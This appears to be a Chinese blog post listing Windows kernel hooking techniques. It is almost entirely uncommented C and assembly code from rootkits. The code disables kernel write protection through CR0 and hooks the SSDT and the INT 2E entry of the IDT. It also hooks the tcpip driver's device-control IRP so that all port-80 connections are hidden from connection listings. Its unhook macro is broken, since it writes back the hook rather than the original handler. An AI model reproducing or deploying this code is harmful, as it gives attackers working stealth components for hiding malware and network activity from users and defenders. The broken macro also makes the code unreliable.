常用的系统HOOK方法

1.HOOK SSDT表


// UN-protect memory

__asm

{

push eax

mov eax, CR0

and eax, 0FFFEFFFFh

mov CR0, eax

pop eax

}

// do something

// RE-protect memory

__asm

{

push eax

mov eax, CR0

or   eax, NOT 0FFFEFFFFh

mov CR0, eax

pop eax
}

// Declarations

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;



PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// Code

// save old system call locations



// Map the memory into our domain to change the permissions on // the MDL

g_pmdlSystemCall = MmCreateMdl(NULL,

KeServiceDescriptorTable.ServiceTableBase,

KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Change the flags of the MDL

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |

MDL_MAPPED_TO_SYSTEM_VA;



MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

#define SYSTEMSERVICE(_func) \

KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )       \

_Orig = (PVOID) InterlockedExchange( (PLONG) \

&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \

InterlockedExchange((PLONG)           \

&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)


2.HOOK IDT表
typedef struct

{

WORD IDTLimit;

WORD LowIDTbase;

WORD HiIDTbase;

} IDTINFO;

#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))

<< 16))
#pragma pack(1)

typedef struct

{

WORD LowOffset;

WORD selector;

BYTE unused_lo;

unsigned char unused_hi:5; // stored TYPE ?

unsigned char DPL:2;

unsigned char P:1;         // vector is present

WORD HiOffset;

} IDTENTRY;

#pragma pack()


DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler

#define NT_SYSTEM_SERVICE_INT 0x2e

int HookInterrupts()

{

IDTINFO idt_info;

IDTENTRY* idt_entries;

IDTENTRY* int2e_entry;

__asm{

sidt idt_info;

}

idt_entries =

(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

KiRealSystemServiceISR_Ptr = // Save the real address of the

// handler.

MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,

idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

/*******************************************************

* Note: we can patch ANY interrupt here;

* the sky is the limit

*******************************************************/

int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);

__asm{

cli;                       // Mask Interrupts

lea eax,MyKiSystemService; // Load EAX with the address of

// hook

mov ebx, int2e_entry;      // Address of INT 2E handler in

// table

mov [ebx],ax;              // Overwrite real handler with

// the low

// 16 bits of the hook address.



shr eax,16

mov [ebx+6],ax;           // Overwrite real handler with

// the high

// 16 bits of the hook address.

sti;                      // Enable Interrupts again.

}

return 0;

}
__declspec(naked) MyKiSystemService()

{

__asm{

pushad

pushfd

push fs

mov bx,0x30

mov fs,bx

push ds

push es

// Insert detection or prevention code here.

Finish:

pop es

pop ds

pop fs

popfd

popad

jmp   KiRealSystemServiceISR_Ptr; // Call the real function

}

}

3.HOOK Irp例程

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);

OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;



NTSTATUS InstallTCPDriverHook()

{

NTSTATUS       ntStatus;

UNICODE_STRING deviceTCPUnicodeString;

WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";

pFile_tcp = NULL;

pDev_tcp   = NULL;

pDrv_tcpip = NULL;

RtlInitUnicodeString (&deviceTCPUnicodeString,

deviceTCPNameBuffer);

ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,

FILE_READ_DATA, &pFile_tcp,

&pDev_tcp);

if(!NT_SUCCESS(ntStatus))

return ntStatus;



pDrv_tcpip = pDev_tcp->DriverObject;

OldIrpMjDeviceControl = pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL];

if (OldIrpMjDeviceControl)

InterlockedExchange ((PLONG)&pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL],

(LONG)HookedDeviceControl);



return STATUS_SUCCESS;

}

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

PIO_STACK_LOCATION      irpStack;

ULONG                   ioTransferType;

TDIObjectID             *inputBuffer;

DWORD                   context;

// Get a pointer to the current location in the IRP. This is where

// the function codes and parameters are located.

irpStack = IoGetCurrentIrpStackLocation (Irp);

switch (irpStack->MajorFunction)

{

case IRP_MJ_DEVICE_CONTROL:

if ((irpStack->MinorFunction == 0) &&

(irpStack->Parameters.DeviceIoControl.IoControlCode

== IOCTL_TCP_QUERY_INFORMATION_EX))

{

ioTransferType =

irpStack->Parameters.DeviceIoControl.IoControlCode;

ioTransferType &= 3;

// Need to know the method to find input buffer

if (ioTransferType == METHOD_NEITHER)

{

inputBuffer = (TDIObjectID *)

irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP

if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)

{

if ((inputBuffer->toi_id == 0x101) ||

(inputBuffer->toi_id == 0x102) ||

(inputBuffer->toi_id == 0x110))

{

// Call our completion routine if IRP succeeds.

// To do this, change the Control flags in the IRP.

irpStack->Control = 0;

irpStack->Control |= SL_INVOKE_ON_SUCCESS;

// Save old completion routine if present

irpStack->Context =(PIO_COMPLETION_ROUTINE)

ExAllocatePool(NonPagedPool,

sizeof(REQINFO));

((PREQINFO)irpStack->Context)->

OldCompletion =

irpStack->CompletionRoutine;

((PREQINFO)irpStack->Context)->ReqType =

inputBuffer->toi_id;

// Setup our function to be called

// upon completion of the IRP

irpStack->CompletionRoutine =

(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;

}

}

}

}

break;



default:

break;

}



// Call the original function

return OldIrpMjDeviceControl(DeviceObject, Irp);

}
typedef struct _REQINFO {

PIO_COMPLETION_ROUTINE OldCompletion;

unsigned long          ReqType;

} REQINFO, *PREQINFO;

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

IN PVOID Context)

{

PVOID OutputBuffer;

DWORD NumOutputBuffers;

PIO_COMPLETION_ROUTINE p_compRoutine;

DWORD i;

// Connection status values:

// 0 = Invisible

// 1 = CLOSED

// 2 = LISTENING

// 3 = SYN_SENT

// 4 = SYN_RECEIVED

// 5 = ESTABLISHED

// 6 = FIN_WAIT_1

// 7 = FIN_WAIT_2

// 8 = CLOSE_WAIT

// 9 = CLOSING

// ...

OutputBuffer = Irp->UserBuffer;

p_compRoutine = ((PREQINFO)Context)->OldCompletion;

if (((PREQINFO)Context)->ReqType == 0x101)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO101);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO101)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x102)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO102);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO102)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x110)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO110);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO110)OutputBuffer)[i].status = 0;

}

}

ExFreePool(Context);



if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

{

return (p_compRoutine)(DeviceObject, Irp, NULL);

}

else

{

return Irp->IoStatus.Status;

}

}

4 inline HOOK
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值